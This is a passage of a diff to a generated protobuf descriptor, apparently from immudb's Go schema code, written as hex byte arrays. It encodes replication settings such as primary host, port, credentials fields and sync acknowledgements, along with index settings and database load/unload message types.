0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, - 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, - 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, - 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, - 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, - 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, - 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, - 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, - 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, - 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, + 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, - 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, - 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, - 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, - 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, - 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, - 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, - 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, - 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, - 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, - 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, + 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, + 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, + 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, - 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, - 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, - 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, + 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, + 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, + 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, + 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, + 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, + 0x6e, 0x67, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, + 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, + 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, + 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, + 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, - 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, - 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, + 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, + 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, + 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, + 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, - 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, - 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, - 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, - 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, - 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, + 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, + 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, + 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, + 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, + 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, + 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, - 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, - 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, - 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, + 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, + 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 